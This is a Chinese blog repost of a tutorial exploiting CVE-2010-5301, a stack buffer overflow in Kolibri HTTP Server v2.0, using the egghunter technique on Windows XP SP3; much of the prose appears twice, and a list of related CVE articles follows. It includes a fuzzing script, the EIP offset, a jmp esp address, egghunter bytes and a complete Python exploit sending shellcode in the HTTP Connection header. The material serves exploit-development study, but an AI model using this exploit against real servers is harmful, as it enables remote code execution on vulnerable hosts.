CVE-2010-5301浅析-Kolibri栈溢出漏洞
2017-05-21 12:59
260 查看
本文转载自
Kolibri v2.0-Buffer Overflow分析及利用
Windows Exploit Development Tutorial Series:Part 4 EggHunters
EggHunters技术是staged shellcode技术的一种,寻蛋指令的目的是为了搜索整个内存空间找到我们真正的shellcode并执行它,如果可用的溢出缓冲区放不下整个shellcode,就可以使用这个技术。前提条件:必须能够跳转,并且执行一些shellcode(寻蛋指令);最终执行的shellcode必须在内存的某个位置;最终执行的shellcode的前面必须存在唯一标识方便寻蛋指令查找定位。在XP SP3上安装Kolibri HTTP Server v2.0,因为软件为绿色软件直接运行即可。
开启服务以后,我们先写一个简单的python测试脚本。
运行测试脚本,Kolibri直接退出,说明我们的测试起到了效果。然后我们再使用Immunity Debugger打开Kolibri。使用mona插件生成600个测试字符:
可以看到我们的调试器弹出了一个窗口,把32724131放到mona插件中搜索一下,是否存在于我们的测试字符中。
偏移为515,我们来验证一下。把第516~519个字节改为ABBA,然后再次测试。
确实为ABBA的ASCII码,说明我们已经控制了程序的EIP。为了使用EggHunters技术我们需要一个jmp esp指令、一个跳转指令和寻蛋指令。jmp esp指令可以使用
寻蛋指令的原理如下图所示。
因为不好编辑十六进制代码,所以新创建一个文件(sc.sc)把shellcode放置到此文件中编辑,POC直接打开sc.sc文件读取就可以了。
构造好buffer后再次启动漏洞程序,运行POC之前先到0x7d5a30d7处下一个断点。运行POC可以看到程序跳转到了我们指定的位置。
顺着我们指定的指令执行,程序jmp到了esp寄存器指向的位置,此位置中存放的正好是我们的短跳转指令。
此短跳转指令又跳转到我们的寻蛋指令首地址。
现在只差传入一个shellcode了,把shellcode布置到http头中的Connection字段。注意,需要在shellcode首部添加一个w00tw00t标签,方便寻蛋指令识别。
Kolibri v2.0-Buffer Overflow分析及利用
Windows Exploit Development Tutorial Series:Part 4 EggHunters
EggHunters技术是staged shellcode技术的一种,寻蛋指令的目的是为了搜索整个内存空间找到我们真正的shellcode并执行它,如果可用的溢出缓冲区放不下整个shellcode,就可以使用这个技术。前提条件:必须能够跳转,并且执行一些shellcode(寻蛋指令);最终执行的shellcode必须在内存的某个位置;最终执行的shellcode的前面必须存在唯一标识方便寻蛋指令查找定位。在XP SP3上安装Kolibri HTTP Server v2.0,因为软件为绿色软件直接运行即可。
开启服务以后,我们先写一个简单的python测试脚本。
import socket poc = "A" * 1000; buffer = ( "HEAD /" + poc + " HTTP/1.1\r\n" "Host: 192.168.1.2:8080\r\n" "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n" "Keep-Alive: 115\r\n" "Connection: keep-alive\r\n\r\n") exp = socket.socket(socket.AF_INET,socket.SOCK_STREAM); exp.connect(("192.168.1.29",8080)); exp.send(buffer); exp.close();
运行测试脚本,Kolibri直接退出,说明我们的测试起到了效果。然后我们再使用Immunity Debugger打开Kolibri。使用mona插件生成600个测试字符:
!mona pattern_create 600,Immunity Debugger会在调试器根目录下生成一个以pattern命名的.txt文件,此文件中就保存的就是我们的600个测试字符。我们把测试脚本中的1000个A替换成我们的测试字符,替换完以后再次开启程序,在本机运行测试脚本。
可以看到我们的调试器弹出了一个窗口,把32724131放到mona插件中搜索一下,是否存在于我们的测试字符中。
偏移为515,我们来验证一下。把第516~519个字节改为ABBA,然后再次测试。
确实为ABBA的ASCII码,说明我们已经控制了程序的EIP。为了使用EggHunters技术我们需要一个jmp esp指令、一个跳转指令和寻蛋指令。jmp esp指令可以使用
!mona jmp -r esp命令查找;跳转指令可以使用\xEB\xC4,短跳转指令EB,长度为-60(0xc4),因为短跳转的范围是-128~127,所以最大正数为7F,大于7F就为负跳转;寻蛋指令可以使用
!mona egghunter命令查找,生成的寻蛋指令如下,标记为w00tw00t。
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
寻蛋指令的原理如下图所示。
因为不好编辑十六进制代码,所以新创建一个文件(sc.sc)把shellcode放置到此文件中编辑,POC直接打开sc.sc文件读取就可以了。
构造好buffer后再次启动漏洞程序,运行POC之前先到0x7d5a30d7处下一个断点。运行POC可以看到程序跳转到了我们指定的位置。
顺着我们指定的指令执行,程序jmp到了esp寄存器指向的位置,此位置中存放的正好是我们的短跳转指令。
此短跳转指令又跳转到我们的寻蛋指令首地址。
现在只差传入一个shellcode了,把shellcode布置到http头中的Connection字段。注意,需要在shellcode首部添加一个w00tw00t标签,方便寻蛋指令识别。
import socket #Egg Hunter fp = open("./sc.sc","rb+"); poc = fp.read(1024); print"> Poc>>"; print"",poc; shellcode = "w00tw00t"+ "\x31\xD2\xB2\x30\x64\x8B\x12\x8B\x52\x0C\x8B\x52\x1C\x8B\x42\x08\x8B\x72\x20\x8B\x12\x80\x7E\x0C\x33\x75\xF2\x89\xC7\x03\x78\x3C\x8B\x57\x78\x01\xC2\x8B\x7A\x20\x01\xC7\x31\xED\x8B\x34\xAF\x01\xC6\x45\x81\x3E\x46\x61\x74\x61\x75\xF2\x81\x7E\x08\x45\x78\x69\x74\x75\xE9\x8B\x7A\x24\x01\xC7\x66\x8B\x2C\x6F\x8B\x7A\x1C\x01\xC7\x8B\x7C\xAF\xFC\x01\xC7\x68\x74\x5F\x67\x6F\x68\x20\x40\x4C\x65\x89\xE1\x33\xC0\x88\x41\x08\x51\x50\xFF\xD7" buffer = ( "HEAD /" + poc + " HTTP/1.1\r\n" "Host: 192.168.1.2:8080\r\n" "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n" "Keep-Alive: 115\r\n" "Connection: " + shellcode + "\r\n\r\n") exp = socket.socket(socket.AF_INET,socket.SOCK_STREAM); exp.connect(("192.168.1.29",8080)); exp.send(buffer); exp.close();
相关文章推荐
- CVE-2010-3974 Microsoft Windows多个平台Fax Cover Page Editor内存破坏漏洞
- CVE-2010-3600 漏洞相关的内容
- 利用CVE-2010-2883漏洞制作pdf马
- android提权漏洞CVE-2010-EASY修复【转】
- 看个AV也中招之cve-2010-2553漏洞分析
- linux(CVE-2010-3847)漏洞和利用方法
- CVE-2010-0188漏洞点定位
- OpenSSH J-PAKE授权问题漏洞(CVE-2010-4478) 升级OpenSSH服务
- 对ms10-087(CVE-2010-3333)漏洞分析
- CVE-2010-3333浅析-word栈溢出漏洞
- cve-2010-4452 codebase 和code标签属性未检测同源策略导致任意代码执行漏洞
- cve漏洞分析:cve-2010-0805(附带测试代码) cve-2010-0853
- 2012年旧文章Spring framework(cve-2010-1622)漏洞利用指南
- 一个利用 CVE-2010-2883 漏洞的样本的简要分析
- 【转】CVE-2010-4258 漏洞分析
- 看个AV也中招之cve-2010-2553漏洞分析
- CVE-2010-0249 IE8 UAF漏洞分析
- CVE-2010-4258漏洞分析
- Microsoft LNK Vulnerability Brief Technical Analysis(CVE-2010-2568)【windowsLNK快捷方式漏洞分析】
- 漏洞分析之CVE-2010-2883(栈溢出)